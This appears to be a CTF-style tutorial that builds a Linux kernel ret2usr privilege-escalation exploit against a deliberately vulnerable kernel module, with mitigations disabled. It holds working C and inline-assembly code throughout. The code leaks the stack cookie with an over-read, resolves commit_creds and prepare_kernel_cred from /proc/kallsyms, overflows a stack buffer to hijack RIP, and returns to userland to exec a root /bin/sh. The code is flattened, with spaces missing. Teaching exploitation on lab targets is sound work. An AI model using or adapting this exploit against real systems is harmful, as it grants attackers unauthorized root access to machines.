We are using resources from here
The kernel module we are exploiting is here
The final exploit is here
Overview
Stack cookies exist in the kernel stack just like standard userspace programs. When attempting to clobber the stack through a stack overflow, the kernel will panic and report something similar to the image below:
The method of exploitation is very similar from userspace to kernel space and we will be using the same ideas behind leaking a stack cookie and then replacing it on the stack
We are going to be building a ret2usr exploit using the kernel-overflow kernel module. This exploit will require disabling a couple mitigations: smepsmapkpti and kaslr . The launch_stack_cookie.sh included with these challenges will launch the kernel without these mitigations.
The plan of attack here is as follows:
* Leak the stack cookie
* Get key kernel addresses
* Save some user-mode registers
* Build some shellcode
* Overwrite the program counter to our shellcode
Leak
When we open and read from the character device, the following kernel code is executed:
Our stack has a variable tmp on it that should be 32*sizeof(int) (128) bytes large. The next value on the stack will be our stack cookie, and then some caller saved registers as shown below:
The check on line 9 is insufficient to prevent and overread and consequently passing in a length greater than 128 bytes will leak stack data. We can trigger this leak by opening the character device and reading in more than 128 bytes. The code below will read in 256 bytes and print each as 8 byte reads.
#defineBUF_SIZE0x100unsignedlongdo_leak(int fd) {int bytes_read;unsignedlong*buf =NULL;unsignedlong stack_cookie;unsignedint cookie_offset =16; buf =malloc(BUF_SIZE);if (buf ==NULL)exit_and_log("Failed to malloc\n");memset(buf,'\x00', BUF_SIZE); bytes_read =read(fd, buf, BUF_SIZE);for (int i =0; i < (BUF_SIZE / WORD_SIZE); i++) {if (i == cookie_offset) {printf("buf + 0x%X\t: %lX <------- Stack cookie\n", i * WORD_SIZE, buf[i]); } else {printf("buf + 0x%X\t: %lX\n", i * WORD_SIZE, buf[i]); } } stack_cookie = buf[cookie_offset];free(buf);return stack_cookie;}
Kernel Addresses
The next step is to get a couple key addresses for our kernel exploit. When we can control execution of the kernel we are interested in calling commit_creds(prepare_kernel_cred(NULL)); which will create a new credential struct with root credentials and then assign our process that new set of credentials!
The classic process of doing this is by reading /proc/kallsyms . We can open and read this file looking for entries for both those addresses and add them into our exploit. The code below will read kallsyms looking for commit_creds and prepare_kernel_cred and then store the values found into two global variables.
To move from kernel mode execution to user space execution either a sysretq or iretq instruction needs to be executed. iretq is the easier method and requires that the stack has 5 registers available on it for : RIP CS RFLAGS SP SS . When executing programs there are two sets of these registers in use, one set is used for the kernel and the other is for the usermode program, we need to save off these values so that we can restore them when the kernel executes our shellcode later.
Right from Midas's blog you can use the function below to save off those registers into global variables:
Using the previously gathered prepare_kernel_cred and commit_creds functions addresses, we want to call both of these and then return to userspace. On the return to userspace we want to check our uid and gid to ensure that we are root and then execve /bin/sh.
We can assemble the beginning of our shellcode using gcc's inline asm command. You can reference global variables like our previously saved prepare_kernel_cred value here inline too.
The above code will execute commit_creds(prepare_kernel_cred(NULL));but won't return us to userspace yet. A normal "ret" instruction here will just panic the kernel since it's expecting to execute another kernel function, not a userspace function.
We need to call the swapgs instruction which will change the GS base register back to it's userspace value, enabling us to execute userspace code. The next step is using either that iretq or sysreq method to return out of kernel space. The full set of shellcode is below:
voidgive_me_root() {// Set end RIP value to our shell drop user_rip = (unsignedlong)drop_shell;__asm__(".intel_syntax noprefix;""movabs rax, prepare_kernel_cred;""xor rdi, rdi;""call rax; mov rdi, rax;""movabs rax, commit_creds;""call rax;""swapgs;""mov r15, user_ss;""push r15;""mov r15, user_sp;""push r15;""mov r15, user_rflags;""push r15;""mov r15, user_cs;""push r15;""mov r15, user_rip;""push r15;""iretq;"".att_syntax;");}
The rip value set at the end of our shellcode needs to be the next instruction that we want the program to execute. We can set this to a function we want to call with our new set of root credentials.
voiddrop_shell(void) {printf("[*] Returned to userland\n");char*argv[]= {"/bin/sh",NULL};char*envp[]= {NULL};if (getuid()==0&&getgid()==0) {printf("[*] UID: %d\n", getuid());printf("[*] GID: %d\n", getuid());execve(argv[0], argv, envp); }exit_and_log("Failed to priv\n");}
PC Overwrite
The overflow is present in the device_write function of the kernel module:
staticssize_tdevice_write(struct file *filp,constchar*buf,size_t len,loff_t*off){int tmp[32] = {0}; tmp[0] =0xDEADBEEF; tmp[31] =0xCAFEBABE;if ( len >0x1000 ) {printk("Buffer overflow detected (%d < %lu)!\n",4096LL, len);BUG(); }check_object_size(hackme_buf, len,0LL);if ( copy_from_user(hackme_buf, buf, len) ) return-14LL;memcpy(tmp, hackme_buf, len);// my gcc is optimizing out the memcpy// having tmp used after the copy ensures// that it stays inprintk(KERN_ALERT "After %s",tmp);return len;}
Line 16 in device_write() in the kernel module will overflow that tmp stack variable which overwrites the stack cookie and saved rbx and rip registers.
We can trigger this overflow by opening the character device and writing a buffer larger that 128 bytes. If we place the stack cookie at the end of the 128 bytes, we should be able to reliably overwrite the saved registers. We can trigger a crash with RIP pointing at a location we control with the code below:
voidoverwrite_pc(int fd,unsignedlong stack_cookie) {unsignedlong*buf =NULL; //[BUF_SIZE];unsignedint cookie_offset =16;int bytes_written; buf =malloc(BUF_SIZE);if (buf ==NULL)exit_and_log("Failed to malloc\n");memset(buf,'\x00', BUF_SIZE); buf[cookie_offset] = stack_cookie; buf[cookie_offset +1] =0x4141414141414141; // rbx buf[cookie_offset +2] =0x4444444444444444; // rip// After this write we won't return to the// rest of this function bytes_written =write(fd, buf, BUF_SIZE);printf("Write returned %d\n", bytes_written);free(buf);}
At this point, we can exchange the 0x4444444444444444 for our give_me_root function . The flow of our final exploit is as follows:
voidmain() { /* * Interacting with this kernel module is easy * just treat it like a file */int fd;unsignedlong stack_cookie; fd =open(KERN_MODULE, O_RDWR);if (fd <0)exit_and_log("Failed to open kernel module\n"); /* * Just like a userspace buffer overflow, a stack * read will give us the stack cookie that we can * use when doing our kernel space overflow */ stack_cookie =do_leak(fd); /* * Get prepare_kernel_cred and commit_creds using * /proc/kallsyms */get_kernel_addresses(); /* * Get registers that we'll need to restore later */save_state(); /* * Overwrite the program counter and execute our * shellcode! */overwrite_pc(fd, stack_cookie);printf("At end of main\n");close(fd);}
We can verify our exploit using the existing ctf user. By changing to the ctf user through su we can run the exploit and see our ret2usr exploit worked!